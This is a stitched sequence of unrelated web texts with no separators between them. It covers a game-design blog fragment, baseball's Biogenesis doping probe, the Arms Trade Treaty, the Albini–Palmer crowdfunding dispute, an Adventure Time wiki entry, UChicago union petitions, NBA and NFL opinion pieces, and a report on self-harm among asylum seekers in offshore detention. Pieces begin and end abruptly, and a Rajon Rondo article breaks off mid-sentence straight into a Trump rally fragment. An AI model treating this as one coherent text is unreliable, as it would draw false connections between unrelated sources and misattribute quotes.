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will be in knowing whether or not it makes more sense to lock in $500k to bring in *more* customers to view those cars, or to lower the price.
I like the way this is balancing out, because without explicitly saying “this is a late game feature”, it becomes evidently true because its not worth advertising to the mass market without having a mass-market range. The real problem is how I convey that to the player. Player-feedback is something that production line is currently bad at, and something I need to work on. I could maybe have a pop-up from your head of marketing that runs through those numbers… a dialog saying “our campaign has resulted in X new customers, so $X per customer, but only Y% of them found a model in our range they would consider. Maybe we need to expand the range?”
As usual; in complex sim games, it becomes a case of 25% code the feature, 25% test the feature, 25% balance the feature, 25% explain the feature. I guess I’m half way there for brand-awareness marketing…(CBS News) Baseball's latest doping scandal could turn out to be the biggest ever in sports.
Milwaukee Brewers' Ryan Braun AP Photo/Jae C. Hong
Dozens of players, including some big stars, may face long suspensions. Major League Baseball has been investigating this for some time. The turning point came when a key figure decided to name names.
Anthony Bosch ran the Miami clinic called Biogenesis. Before it folded, Biogenesis offered what it called "anti-aging" services. CBS News learned Bosch has an agreement with the MLB to be interviewed under oath about allegations that his clinic supplied performance-enhancing drugs to some of baseball's biggest stars.
A baseball executive told CBS News that Bosch will name up to 25 players, including Yankees star Alex Rodriguez - the game's top-paid player - and Milwaukee Brewers slugger Ryan Braun, the National League's most valuable player two years ago. This was Braun Tuesday night:
"I'm not answering any further questions regarding the whole situation," Braun said at a press conference. "I've dealt with it for a long time over the last year and a half, and aside from that I don't have anything further to say."
Chris Russo on MLB investigation: "I would be worried if I was A-Rod"
Miami clinic founder to aid baseball's PEDs probe
Rodriguez, who has yet to play this season because of an injury, has admitted doping from 2001 to 2003 but has repeatedly denied using performance-enhancing drugs since.
New York Yankees star Alex Rodriguez
But the baseball executive tells us Bosch's list will also include "big names" that "have not been made public before" in connection to doping. This is troubling news for a sport that implemented drug-testing policies and penalties in hopes of putting doping scandals behind it.
"I had hoped that we were through it, but obviously maybe we're not," said Yankees manager Joe Girardi. "We're gonna find out. But we'll let MLB handle it."
The Major League Baseball Players Association confirmed Wednesday the commissioner's office is "in the process of interviewing players" and has been told "no decisions regarding discipline have been made or will be made until those interviews are completed."
Players found to have violated Major League Baseball's performance-enhancing drug policy are suspended 50 games. Two-time offenders get 100 games. A third brings a lifetime ban. In the case of Alex Rodriguez, a 100-game suspension would cost him more than $15 million in salary alone.In the Crosshairs
When we talk about promoting democracy or defending human rights, we tend to dwell on factors like constitutions and voting procedures and media freedom. We usually don’t spend much time discussing the availability of assault rifles. But this is a mistake.
I’ve been thinking about this because I just took a part in a conference sponsored by United Nations diplomats to discuss plans for something called the Arms Trade Treaty. In July, the U.N. will start negotiations on the ATT, which aims to establish a framework for controlling the international arms market.
It’s a good idea. It seems nonsensical that the international community already maintains rules for broad swathes of global trade — but somehow hasn’t ever managed to do the same thing for a category of products that kill global citizens on a regular basis. (As Anna Macdonald of the British charity Oxfam memorably put it: "How can the sale of bananas be more tightly controlled than the sale of machine guns?") Meanwhile, weapons of mass destruction have been subject to international treaties for many years now. We no longer regard this as something unusual; it’s just part of the background noise. Yet WMD have killed very few people in the decades after World War II. The overwhelming majority of the millions of people who have died in conflicts since 1945 were killed by bullets, bombs, and artillery. And most of these casualties, in turn, are caused not by tanks or planes but small arms — which nowadays usually means assault rifles.
War is not going to end tomorrow, of course. But that’s not what we’re talking about here. We’re talking about drawing up rules of the road for a global business that often operates in the shadows. The denizens of this murky world — people like Viktor Bout, the notorious Russian arms trader recently convicted to 25 years in jail — rely on elusive middlemen, bogus documents, and shell companies to cover their tracks and evade accountability. As often as not their black-market wares end up in the hands of terrorists, thugs, or vicious warlords, the Charles Taylors and Joseph Konys of the world. The ATT could be an important tool in drying out this swamp.
These weapons don’t just kill individual people; they can devastate entire societies. New York Times reporter C. J. Chivers provides a whole host of examples of this principle at work in his excellent book The Gun. The weapon referred to in the title is the Kalashnikov assault rifle. As Chivers explains, the simple and robust design of the AK-47 (and its myriad variants) has made it the weapon of choice for poorly trained peasant armies around the world. It’s also ubiquitous. The Soviet Union produced huge stocks of rifles that dispersed into international trading networks when the Warsaw Pact disintegrated. Official production licenses and illicit knockoffs have also furthered the Kalashnikov’s spread.
The proliferation of high-powered assault rifles in societies with weak institutions can have devastating effects. One of the most striking examples cited by Chivers comes from Uganda. When the regime of dictator Idi Amin collapsed at the end of the 1970s, Karomojong tribesman in the country’s restive north seized the opportunity to loot government arsenals. For eons, the Karomojong had lived by rustling the cattle of their neighbors. But the introduction of modern assault rifle dramatically changed the equation. As Chivers writes:
The introduction of Kalashnikovs to the Karomojong multiplied their firepower by a much larger factor than had the introduction of AK-47s to Soviet infantry squads, because the rustlers were not graduating from rifles and submachine guns. They were moving up from spears. In the ensuing years, traditional Karamojong power arrangements eroded, and the elderly leaders were supplanted by younger men leading bands of rustlers equipped with assault rifles. Warlords became a force.
So it’s not just about the people who are killed by these weapons. Assault rifles in the hands of youthful thugs or gangsters often end up dissolving the fabric of society itself, condemning the survivors of violence to live with the long-term consequences of weakened institutions and Hobbesian anarchy.
It’s a process I’ve seen at work during my stints reporting on the wars in Iraq and Afghanistan. After the invasion in 2003, the government of the U.S. occupation in Iraq dissolved the Iraqi Army and the security forces. So Saddam’s soldiers and spies were sent home without pay — but they kept their weapons. Meanwhile, the relatively small occupation force didn’t have the manpower to control the vast armories and weapons dumps built up by Saddam, so they were quickly looted. All this combined to combustive effect. By 2007, those assault rifles could be found in the hands of Iraqis in their early teens.
Afghan society has passed through a more extreme version of the same process. When the Soviet Union invaded Afghanistan in 1979, the United States and Saudi Arabia responded by pouring weapons into Pakistan, which then passed them along to the mujahideen, who were determined to fight against the Russian interlopers. But the Pakistanis didn’t distribute the bounty impartially to all the Afghans; they favored radical new Islamist political parties while shutting out traditional Afghan tribal leaders and religious leaders. It was a policy calculated to undermine the old elites, who watched helplessly as their followers deserted them for the groups that boasted more effective means for fighting the Soviets. The Pakistanis and their Islamist allies thus finished the destruction of traditional Afghan society that the Kremlin had begun — with all the consequences that we see today.
Will the ATT prevent such things from happening in the future? Probably not entirely. But it’s certainly a step in the right direction. One version of the treaty would outlaw arms shipments to countries threatened by civil war or suspected of abusing the human rights of their own citizens. And by compelling producer countries to come clean on their exports, it would shine some much-needed light into dark corners of the global arms bazaar.
For the moment, of course, such considerations remain theoretical. It’s not clear that the ATT will ever get off the ground. Russia and China, both big weapons manufacturers, are cool to the idea. Some developing countries worry that they won’t be able to get the arms they need for self-defense if present channels are closed off. And there’s also plenty of resistance in the United States, whose companies make it the world’s biggest arms exporter (it accounts for about one-third of the global trade). The anti-gun-control lobby in the United States has already prevailed upon many members of the Senate (which would have to ratify the treaty) to declare their opposition — even though the argument that the ATT would restrict the rights of U.S. gun owners is highly questionable.
And yet many countries — including even some major arms exporters like Britain — have declared their support. And that suggests that some in the international community are beginning to see the light. It will be interesting to see if the ATT can beat the odds.Recording engineer (Nirvana, Pixies), alt-rock musician (Big Black, Shellac), and reliable curmudgeon Steve Albini has some sharp words for cabaret-tinged rocker Amanda Palmer.
In a post on his own Electrical Audio board, as Stereogum points out, Albini suggests that Palmer’s recent crowdfunding and crowdsourcing efforts make her “an idiot.” By soliciting money to record an album or asking fans to play for free in her band, Albini very strongly implies, Palmer is confessing that she is worse at her job “than Jandek, Moondog, GG Allin, every band ever to go on tour without a slush fund, or the kids who play on buckets downtown.” He also equated such charity requests to asking fans to “gather at a mud pit downstate and sell meth and blowjobs to each other.”
Palmer raised a record $1.2 million over Kickstarters to create her new album Theater of Evil, which came out this week from the newly formed group Amanda Palmer & The Grand Theft Orchestra. On August 21, in a blog post titled “WANTED: HORN-Y AND STRING-Y VOLUNTEERS FOR THE GRAND THEFT ORCHESTRA TOUR!!!!,” Palmer invited fans with “professional-ish” string and horn abilities to join her onstage in each stop of her upcoming tour. “we will feed you beer, hug/high-five you up and down (pick your poison), give you merch, and thank you mightily for adding to the big noise we are planning to make,” she wrote.
Albini’s harsh response follows a New York Times blog post detailing a broader backlash to Palmer’s request. Commenters on her website have demanded that she pay her backing musicians, and Seattle musicians union Local 76-493 has launched a Twitter campaign to similar effect. “If there’s a need for the musician to be on the stage, then there ought to be compensation for it,” the Times quotes Raymond M. Hair Jr., president of the American Federation of Musicians, as saying.
Palmer, speaking to the Times, defended herself again the outcry. “If you could see the enthusiasm of these people, the argument would become invalid,” she’s quoted as saying, adding “If my fans are happy and my audience is happy and the musicians onstage are happy, where’s the problem?”
It’s easy to take sides in this particular case, but viewed apart from Palmer, the question is a nuanced one. Many of us have probably seen small, unjustly obscure bands go up onstage and maybe get a helping hand — unpaid, no doubt — from friends who are also musicians. It seems ludicrous to say that takes money out of the pockets of professional musicians, because those bands often don’t have that money anyway.
But when you reach a certain level, it’s clear that the laws of supply and demand are in effect: If artists start being able to tour backed by strings and horns without paying string and horn players, that hurts professional string and horn players. A thorny issue for your Thursday afternoon.
Don’t miss SPIN’s recent interview with Palmer.Princess Princess Princess makes her first appearance in "What is Life?" in Ice King's Imagination Zone. She later reappears in the episode "Loyalty to the King" when she bumps into Finn and Jake, saying she wanted to meet the Nice King. She then appears three seasons later in "Princess Potluck" attending the potluck of Princess Bubblegum. According to the events in "Princess Day," she is a registered princess.
Contents show]
Appearance
Princess Princess Princess is a princess who has five heads, all of which have a unique crown or tiara. The center head has blonde hair that has a crown with many spikes and is yellow, the head on the right shoulder has auburn hair and has a tiara that looks like a spade with a bright blue jewel in the middle of it. The small head underneath the previous head has brunette hair, and her crown has two spikes on it. The head on the left shoulder has strange green hair and is drastically different from the other heads; it has a monstrous appearance with large red eyes, sharp teeth, and always has its mouth open and salivating. The "monster" head has a tiara that looks exactly like Turtle Princess, Princess Bubblegum, Embryo Princess and Slime Princess' tiaras, but with a ruby-colored gem. The final head is underneath the "monster" head. It is small like the brunette head and has navy blue hair, she has a crown similar to the blonde head's but with a darker yellow color and fewer visible spikes. Princess Princess Princess' skin is attached to her dress and all of her heads, except the "monster" head. Each head also has a slightly different voice except for the "monster" head, which has not been heard yet. She sometimes speaks alternating between heads per phrase, implying she may be one mutated princess.
Relationships
Ice King
Like most of the princesses, Princess Princess Princess is usually getting harassed by the Ice King with his attempts to kidnap and marry her as seen in the episodes "Loyalty to the King" and "Princess Potluck."
Princess Bubblegum
In the episode "Princess Potluck" Princess Princess Princess was one of the princesses invited to Princess Bubblegum's potluck, assuming that Princess Bubblegum must know her and must be friends with her to have invited her over there.
Skeleton Princess
In the episode "Princess Potluck" Princess Princess Princess was seen sitting at a table with Skeleton Princess talking to her, assuming that they must know each other and be friends. The only one talking to her was the Blonde head.
Embryo Princess
In the episode "Princess Potluck" Princess Princess Princess was seen sitting at a table with Embryo Princess assuming that they must know each other and be friends.
Episode appearances
Minor appearances
Quotes
“ Have you guys seen the new Nice King? ” —"Loyalty to the King"
“ He's single. And he's ours. Now, get out of our way! ” —"Loyalty to the King"
Trivia
The only princess head not to have been heard talking is the monster head.
She is one of the people who need to be rescued in the Adventure Time iPhone app game Rock Bandits.
iPhone app game. According to the Adventure Time game Rock Bandits, when the monster head talks, it comes out as a bunch of gibberish of roaring and screaming and making noises. Also, Jake asks Princess Princess Princess if she can talk through a non-monster head so they can understand her.
game, when the monster head talks, it comes out as a bunch of gibberish of roaring and screaming and making noises. Also, Jake asks Princess Princess Princess if she can talk through a non-monster head so they can understand her. In "Princess Potluck," the blonde-haired head is the only one speaking to Skeleton Princess.
The episode "Princess Potluck" was the first episode where her name was mentioned.
In the gender-swapped version of her, all of the human heads are monster heads and the monster head is a human head.Two student groups on campus, Graduate Students United (GSU) and the Student Library Employees Union (SLEU), filed petitions to the National Labor Relations Board (NLRB) for union recognition this week.
In an event around noon at the main quad yesterday, GSU announced that they filed a petition for official recognition early Monday morning. Shortly after the rally, a small number of members went to deliver the group’s signature cards to a regional NLRB office.
Amanda Shubert, a GSU department organizer, expressed enthusiasm for GSU’s filing at the rally. “We’re really excited to say we just filed for a union election for graduate employees at UChicago,” she said. “Graduate employees perform essential work and are really the backbone of UChicago.”
In addition, a letter of voluntary recognition was submitted to Edward H. Levi Hall, the University’s main administration building. With the letter, the University could officially recognize GSU as a union without an election being held by GSU members. Although this method is not that common among newly formed unions, letters of voluntary recognition can be used to form an officially recognized union.
GSU has advocated for graduate unionization in addition to other benefits on campus since 2007. Last year, GSU voted to remain affiliated with the American Federation of Teachers (AFT), Illinois Federation of Teachers (IFT), and the American Association of University Professors (AAUP).
GSU points to increases in graduate students’ stipends and teaching remuneration, and expanded health care coverage and childcare grants as accomplishments of their campaigns. People skeptical of graduate student unionization have disputed this characterization. If they are officially recognized, GSU says they will be able to more effectively bargain with the University.
GSU’s current aims center on increasing graduate student representation to the University, improving the current conditions of working graduates, and placing more stringent protections in place for those who need to file grievances.
The election to determine GSU’s unionization is expected to occur in late June.
Meanwhile, UChicago’s SLEU filed a petition to the NLRB for union recognition Sunday. Composed of roughly 175 members, most of them undergraduates, SLEU is one of the first unions in the country from a private university to do so.
If approved by the NLRB, the petition will determine the date of a future election that will certify SLEU’s official recognition. With recognition, SLEU members aim to negotiate for higher wages, increased control over working hours, and third-party representation in cases of Title IX, ADA, or labor violations.
SLEU is currently working with another local Illinois union, Teamsters Local 743. SLEU represents the experiences of students working from libraries across campus. Despite the diversity of members’ working environments, all of them share certain similar experiences, according to third-year and SLEU co-coordinator Michael Weinrib.
“Certain departments face more difficult challenges with respect to understaffing and hiring freezes, but all student library workers face an impenetrable bureaucracy if they need to file a complaint for Title IX, ADA, or labor violations,” Weinrib wrote in an e-mail to The Maroon.
Additionally, current wages have often required library workers to choose between work and education, Weinrib said. The benefits of gaining recognition could restore the balance between these aspects of library workers’ lives, allowing students to worry less about working 20 hours a week and re-engage in campus life.
These sentiments encouraged SLEU’s founding in fall 2016. Since then, knowledge of the union remained between the students involved in order to avoid administrative interference, according to Weinrib. This was in part a reaction to an August 2016 statement released by the administration critical of graduate unionizing.
Weinrib expressed confidence in the possibility that SLEU will gain official recognition, as well as the benefits such recognition can provide. “We believe that through collective bargaining student workers will be better able to win higher wages and better working conditions that will allow them to prioritize their academic work over their jobs in the library,” he said.
In order for the election to pass, if approved by the board, a 50-percent member approval is required. According to Weinrib, current member approval hovers around 50 percent.
Correction on May 9, 2017, 11:16 a.m. CDT: This article misstated that the SLEU petition was filed on Monday. It was filed Sunday.The preseason gives players a chance to regain their rhythm and improve their five-on-five conditioning.
For coaches, exhibition games allow experimentation.
That’s what Frank Vogel did in the Orlando Magic’s 103-98 victory Tuesday night over the San Antonio Spurs. For a stretch, Vogel played forward Aaron Gordon at center.
“Experimenting,” Vogel said. “He looked good. He had 27 [points] and 11 [rebounds]. Part of that was during that stretch where he was playing center. It was just one of those things that we can go to as we see all these positionless lineups in today’s NBA. It was just something I wanted to look at.”
The Magic’s centers are starter Nikola Vucevic, backup Bismack Biyombo and Marreese Speights and Khem Birch.
Jonathon Simmons discusses his return to San Antonio and the Magic's preseason win over the Spurs in this video Jonathon Simmons discusses his return to San Antonio and the Magic's preseason win over the Spurs in this video SEE MORE VIDEOS
Gordon, who is 6-foot-9, is a talented rebounder who would bring extreme agility to the center spot.
For now, though, it’s most likely that Gordon will play the bulk of his minutes at power forward. His stat lines ballooned when Vogel moved him there following the mid-February trade of Serge Ibaka to the Toronto Raptors.
Biyombo’s growth
Let’s not mince words: Biyombo’s strength is on the defensive end of the floor.
On Tuesday, though, he made a big contribution on offense.
He scored 18 points as he made eight of his 11 shots from the field and both of his free-throw attempts.
His baskets weren’t just on dunks or layups as a roll man.
In the second quarter, he made an 11-foot jumper and a 15-foot jumper. In the third quarter, he drained a 14-foot jumper. In the final quarter, he made a 13-foot jumper.
It was a dramatic change.
Last season, Biyombo went 7 for 23 from 10-14 feet and 3 for 12 from 15-19 feet, according to the NBA’s data.
Elfrid Payton discusses the Orlando Magic's preseason game against the San Antonio Spurs in this postgame video Elfrid Payton discusses the Orlando Magic's preseason game against the San Antonio Spurs in this postgame video SEE MORE VIDEOS
He made only 53.4 percent of his free-throw tries last season.
Suffice it to say, he worked on his shot over the summer.
“I was just trying to get better, honestly,” Biyombo said. “I don’t think it was just about me working hard on my shot. More than anything, I just wanted my free throws to get better over the summer. I think that was my main goal, really, and I feel like my free throws got a lot better, so I can position myself in a way to help my team. But other than that, I’m just trying to have a better year overall. I think everybody got better.”
Vogel uses the word “laser” to describe knockdown shooters.
When Biyombo’s performance was brought up after Tuesday’s exhibition, Vogel responded, “He’s a laser.... He played a really good basketball game. He didn’t get a big rebounding total, but he controlled the paint and really communicated and he got our defense together and organized. He really played a solid basketball game.”
Vogel’s plan
Friday night’s matchup against the Cleveland Cavaliers at Amway Center will be the Magic’s preseason finale.
How does Vogel plan to approach it considering Terrence Ross and Evan Fournier sat out the last two exhibitions with minor injuries?
“I want to see how everybody is health-wise,” Vogel said. “But we’ll play a similar rotation to what we’re going to see opening night.”
jrobbins@orlandosentinel.com. Read his blog at OrlandoSentinel.com/magicblog and follow him on Twitter at @JoshuaBRobbins.This article is over 3 years old
Exclusive : IHMS report reveals suicide attempts and hunger strikes common and children in offshore detention vulnerable to mental health episodes
Asylum seekers held offshore are continuing to self-harm, attempt suicide and go on hunger strike, and grow more depressed the longer they are held on Manus and Nauru, new data from International Health and Medical Services reveal.
Children suffer especially acutely, from bed wetting, nightmares, ongoing effects of trauma and torture in previous countries, as well as “situational crisis” from their current detention, IHMS reports.
Manus Island hunger strike: asylum seekers carry out collapsed detainees Read more
They are particularly at risk of violence in family conflicts.
The International Health and Medical Services quarterly health report from October-December 2014, released by the immigration department under freedom of information, shows that depression remains one of the most significant illnesses for people held offshore, and that mental health deteriorates sharply after several months in detention.
The health report is the collation of health data, including primary health, medications, vaccinations, communicable diseases, disabilities and mental health.
The report shows 57% of adults and 44% of children in offshore detention required the attention of a mental health nurse in the three-month reporting period. Asylum seekers also had appointments with counsellors, psychiatrists and psychologists in significant numbers.
Depression was the second-most commonly diagnosed chronic disease diagnosed by doctors, after oral disease.
Doctors diagnosed 22% of adults, and 17% of children with a psychological condition.
The IHMS report, delivered to the Department of Immigration and Border Protection, reports asylum seekers continue to commit acts of self-harm, attempt suicide and go on hunger strike, refusing all food and water.
“IHMS has seen some incidents of self-harm and FFR [food and fluid refusal] on Nauru during this time... Manus has also reported a number of self-harm incidents and presentations with acute psychosis which have required movement off-site.”
An increase in pathology referrals was attributable, in part, “to self-harm incidents where soap powder and insect repellent ingestion required repeated investigation and monitoring”.
Children are especially vulnerable to mental health episodes of their own, and within their family.
An IHMS-employed child psychiatrist who visits Nauru runs support groups for children in conjunction with counsellors and psychologists. “The minors are seen due to a variety of triggers, including previous trauma and torture, enuresis, nightmares, family conflict and situational crisis,” the report says.
“Domestic violence appears to have increased and during protest activity during September/October. Children were threatened with violence by parents which required extensive support and management by the mental health team.”
Asylum seekers’ own assessment of their mental health shows a sharp deterioration the longer they are held in detention.
The Kessler Psychological Distress Scale, also known as K10, is a self-rated instrument widely used in Australia and internationally to gauge a person’s anxiety and depressive symptoms.
Twenty-three per cent of offshore asylum seekers rated moderate or severe distress on the K10 scale, nearly twice the rate in the Australian community, which reported 12% of people rating in the two highest-distress categories.
“This is a significant percentage of the total population,” IHMS said of the offshore detention K-10 figure, “and... likely to be due to a combination of factors including the relative time in detention, morbidities in the transferee population which make them predisposed to heightened distress when faced with hopelessness, and apprehension about their future.”
But serious mental distress among those held offshore is likely to be under-reported, IHMS warned.
“It should be noted that their participation in K10 screening is voluntary and that those with higher levels of distress are probably less likely to participate in screening, meaning that this percentage is likely an underestimate.”
Asylum seekers are particularly vulnerable around significant anniversaries, the report noted.
In December 2014, four asylum seekers detained on Manus Island sewed their lips together in protest at being held on the island for more than a year
“There may be a relation between the higher incidence of depression noted in the male population and the Bravo cohort on Nauru, who in September/October reached the 24 month milestone on island. This would be consistent with previous findings.”
In addition to mental health statistics, the previously unseen data reports paint a comprehensive picture of asylum seeker health on Manus and Nauru.
The asylum seekers in offshore detention range from zero years of age to 76. On average, every asylum seeker in offshore detention makes three appointments to see a health professional every month.
“Self-reporting of pain for chronic medical conditions along with large numbers of somatisation disorder” contribute to the high number of GP consultations. Somatisation disorder happens when someone feels extreme anxiety about physical symptoms such as pain or fatigue.
There were cases of malaria and tuberculosis during the three reporting months, and an outbreak of hand, foot and mouth disease among children on Nauru which required some to be isolated.
“The two main reasons for transferees seeking medical attention in this quarter are digestive and musculoskeletal conditions,” the report says. “There is some thought that in relation to digestive complaints an element of somatisation could account for this ongoing trend. Due to the terrain in Nauru and also previous reported injuries, IHMS continues to see a high presentation of musculoskeletal conditions particularly of note this quarter a rising incidence of back and knee pain.
“There remains a common complaint about sleeping surfaces and walking on uneven rocky surfaces, which may contribute to some presentations. On Nauru, this has also been reflected in a small number of injuries to stakeholders.”
Poor dental health, resulting largely from poor dental health before entering detention, has been countered by the addition of dentists’ services on the islands. IHMS also provides optometry services.
Fraud 'inevitable' over asylum seeker health targets, leaked documents show Read more
A spokeswoman for IHMS said there were regular, structured reviews of asylum seekers’ mental health on arrival and from six months onwards.
“However, most mental health issues are identified by self-reporting or by referrals, including where anyone notices and reports possible behaviour of concern. When mental health issues are identified, a thorough assessment is performed by mental health clinicians and a management plan instituted.
“Both IHMS and other stakeholders endeavour to be alert to mental health issues, abnormal behaviour and possible self-harm behaviour. If issues are identified, a full mental health assessment is undertaken and, if there is the potential for self-harm, the supportive monitoring and engagement (SME) program.”
IHMS has faced intense scrutiny over its healthcare of asylum seekers after a Guardian Australia investigation revealed the company consistently failed to meet targets, included incorrect data in reports, and admitted it was “inevitable” fraud would be committed as it tried to meet government standards.
IHMS staff were encouraged to “grab from the excuse bag” if care standards weren’t met.Attention bourbon-loving bacon fans: The Templeton Rye Distillery is trying to make your pork-and-booze-filled dreams come true.
Near its distillery in Iowa, the company is breeding 25 purebred Duroc pigs that are intended to have the distinctive flavor of Templeton’s signature product. Unfortunately for the pigs, they aren’t sipping Manhattans—instead, their feed includes dry distillery grain from the whiskey-making process, Iowa’s WQAD reports.
The Templeton Rye Pork Project site lets boozy bacon lovers request one of the pigs, which will be ready for slaughter in June. If you can’t wait that long, here’s a recipe for a bacon-infused bourbon Old Fashioned, from New York’s PDT cocktail bar. And if that sounds like too much work, there’s always the Mitch Morgan: A shot of bourbon with a bacon garnish.Continuing its quest to broaden the commonly accepted notion of "productivity," Microsoft is rolling out more applications that embed intelligence inside.
Last year, one Microsoft exec showed off a prototype of what email could look like in the future if it were to embed contextual information supplied by Bing on the back-end. A "Bingified" version of Outlook could allow users to see entity information right inside their e-mail. The same way that Microsoft Office apps currently alert users with a squiggly line to a potentially misspelled word, a Bing-enriched mail app could show users information about entities embedded in their e-mail messages -- things like bands, venues, nearby restaurants and more.
It sounds like Microsoft is continuing its efforts on this front. Last week, at a private press event, Microsoft showed off a coming Windows phone app called "Revolve," according to Fast Company. That app "melds aspects of a calendar and contact manager, and presents you with information about people you’re going to meet with that it’s collected from multiple sources."
(I've asked company officials for more information as to when Revolve may roll out in preview or final form and if/when it will come to other mobile platforms. No word back so far.)
Update: Revolve is actually not a Windows phone app. It is an iOS app that is in very early stages of internal testing, a Microsoft spokesperson said. It is one of the apps to come out of the Microsoft Garage incubator and ultimately may be released on other mobile platforms, the spokesperson added.
Microsoft's Applications and Services Group (ASG), headed by Executive Vice President Qi Lu, is the part of the company leading the so-called "Digital Life + Work" charge for the company.
According to a job posting on the Microsoft Careers site, Microsoft is building a Digital Life + Work experience "substrate" which "understands context and reacts to changes in the world, proactively providing critical information at the right time and place." The mission of the team that is surfacing substrate information is to "bring people back to four hub services: OneDrive, OneNote, Outlook.com and Skype."
Those four hub services parallel the four new groups created in ASG earlier this year. The four: A combined OneDrive/OneDrive for Business/SharePoint team; a OneNote team; a combined Exchange/Outlook/Outlook.com team; and a combined Skype/Lync team.
ASG isn't operating in a vacuum, in terms of evolving Microsoft's defiition of productivity. The Operating Systems Group team also is working on part of the vision via the mobile connectivity team. That team is building what Microsoft is calling OneSync, "the unified stack that supports the device platform needs of Outlook for the synchronization of People, Email, Calendar and Tasks," according to another job posting.
The "Bingification" of apps is enabled by the incorporation of what the company is calling "understanding services" into various apps. These understanding services include Cortana, which contributes the conversation/user intent; Bing Index (Web/user intent), Satori (entity) and Ads (advertiser intent). Satori, for those needing a refresher, is the knowledge repository inside Bing.
Microsoft execs are touting Microsoft's new Sway aggregation and presentation app as another example of the way the company is expanding the definition of productivity. Sway also incorporates machine-learning intelligence and has hooks into OneDrive.
Earlier this year, Microsoft CEO Satya Nadella announced that Microsoft would be focusing on productivity and platforms in a cloud-first, mobile-first world, moving forward, hence the work to broaden and redefine the productivity category. Nadella vowed that Microsoft would "reinvent productivity as part of its evolving charter.SBS Dateline China's ambitious urbanization plan has helped create many ghost cities.
Two years after visiting some of China's most infamous ghost cities and malls, Australian reporter Adrian Brown revisited them for SBS Dateline, to see if they had changed.
His tour of Tianducheng, the Paris replica that we reported on; the South China Mall; and Kangbashi in Ordos, China's most famous ghost city, showed that they were still empty.
Tom Miller, a Chinese urbanization expert told Brown, it's as though Chinese officials "basically draw a circle on a map and they build it, and then they expect people to go and move in." The "gamble" is that cities might be empty now, but they will be filled up later, an argument Stephen Roach has previously made.
While some argue that this is symptomatic of a massive property bubble in China, this really shows the presence on individual property bubbles across China.November 1, 2010 – Allen Moll
Maybe Rajon Rondo was making a statement to the league for no longer allowing him to wear his upside down NBA logo-ed headband. Maybe Rajon was a little miffed at not making the USA Basketball squad this Summer (even though he withdrew himself rather than be cut), or maybe the 5th year player out of the University of Kentucky is finally coming of age as arguably the best player on an aging Celtics squad and a Top 5 NBA floor general? Yeah, I said it, but can anyone argue that Garnett, Allen, Shaq, or even Paul Pierce are better current players than Rondo?
On a night where little Rondo was honored for being recognized as an NBA All 1st Team Defender last season, he went off on the offensive end to the tune of:
10 points, 10 rebounds, and 24 assists
When looking at the eye-popping numbers from Rondo’s historic night against Boston’s hated |
Trump’s speech was interrupted several times by protesters, some of whom tore up campaign signs. Each time, Trump ordered them to leave.
“You see where they put themselves? Right in front of the cameras,” he said as one protester was escorted out.
“That’s all they care about,” Trump said. “Disgusting.”
Mary Jane Nelson, a Rubio backer who came to see the senator from Florida at The Villages, summed up her view of Trump succinctly: “I find him very scary.”
Wagner reported from St. Louis, Guarino from Bloomington, Ill. Jose A. DelReal in West Chester, Ohio; David Weigel in Strongsville, Ohio; Abby Phillip in Chicago; Katie Zezima in Concord, N.C.; and Michelle Ye Hee Lee in Washington contributed to this report.We knew the screw job was in place the second the tweet came out.
The Pro Football Hall of Fame sent out a picture of the contributors committee meeting on Friday morning. It was to let fans know the process to select the contributor to the class of 2018 was underway. Pictured at the top right was Charley Casserly, former NFL general manager and current analyst. It was at that point we knew that Pat Bowlen would get screwed over for the second straight year.
The contributor finalist selection meeting has started! #PFHOF18 pic.twitter.com/Gz48jYY8mn — Pro Football HOF (@ProFootballHOF) August 25, 2017
No longer can the process be upheld as honest, right or trustworthy. The fact Casserly was in that room and Bobby Beathard was the pick forever haunts and taints this process. Beathard was a former general manager whose teams went to seven Super Bowls over the course of his career. Casserly should have recused himself but he didn’t, given he was Beathard’s right-hand man in Washington for 11 years. This feels wrong. This feels dirty. And not just because we’re fans of the Denver Broncos. But because we know that the NFL isn’t where it is today without Mr. Bowlen.
Now for the second year in a row, Mr. B has to wait while two people who aren’t on the same level of him get their place in Canton, Ohio.
Bobby F*ing Beathard? Are you serious?
You cannot write the story of the NFL without Mr. B. The fact these people don’t know or care proves how flawed this process is. The fact people tasked with this privilege don’t know the history of the game blows the mind.
And Pat Bowlen has to wait at least one more year. Beathard's lieutenant, Charley Casserly, was pictured IN THE SELECTION ROOM this morning. https://t.co/rYMvHuo205 — Andrew Mason (@MaseDenver) August 25, 2017
Cleary this group of corrupt insiders didn’t read the series of stories the Mile High Report staff did earlier this month that laid out the major reasons why the Broncos owner needs to get inducted.
When you look at the NFL today, you see Bowlen’s fingerprints everywhere - the TV dominance, “Sunday Night Football,” the labor peace, the way he ran his franchise like a family and the relentless desire to always be No. 1 “in everything.” Not to mention the success of the Broncos.
How anyone can look at the resume of Beathard and then Bowlen and come to the conclusion, “Yep, Beathard deserves it more” shows how awful and tainted this process is. Of course, when you have the right-hand man of Beathard in that room, it makes total sense. What, was John Elway too busy to get a call? Does Elway not have the clout of Casserly? The fact Hall of Fame voter Clark Judge told Dave Logan that consultants will "often sway the conversation" as to who gets in shows how dirty and tainted this is. As Mike Rice said, how can this be fair?
1/ @clarkjudgeTOF told Dave Logan on @OrangeBlue760, consultants will "often sway the conversation" as to who gets in. How can this be fair? https://t.co/IUQGMF3FzJ — Mike Rice (@MRiceKOA) August 25, 2017
This is dirty on so many damn levels. But even if you take away what Mr. B did for the NFL, you have the success of his franchise.
As I said in the first story of the series, since the relatively unknown Wisconsin-born, Canadian-raised businessman bought the organization from Edgar Kaiser for $78 million in March 1984, the results speak for themselves. They had to since Mr. B would never talk about them.
300 wins in his first 30 years; the only owner in NFL history to pull such a feat.
.612, behind only the San Antonio Spurs for best-winning percentage in pro sports over the last 30 years.
18 playoff appearances
13 division titles
Seven Super Bowl appearances
Seven AFC titles
Five losing seasons
Four different head coaches to lead his team to the Super Bowl. The only owner in NFL history to pull such a feat.
Three Lombardi Trophies
Bobby Beathard. Incredible travesty. 5-person HOF competition committee comprised of very best NFL writers. But this is so wrong. #9sports — Mike Klis (@MikeKlis) August 25, 2017
This doesn’t even take into account Bowlen’s health. So this decision is not only dirty and tainted, it’s heartless. As upset as we we were last year when Bowlen got screwed for Jerry Jones and Paul Taligbue, we only get the sense that was dirty. Though with two writers on the committee who cover the Dallas Cowboys, it was clear.
This year there is no doubt. The Pro Football Hall of Fame sent out the evidence before the selection was ever made. We knew then that Mr. Bowlen would get screwed over once again.
This feels dirty.
This feels wrong.
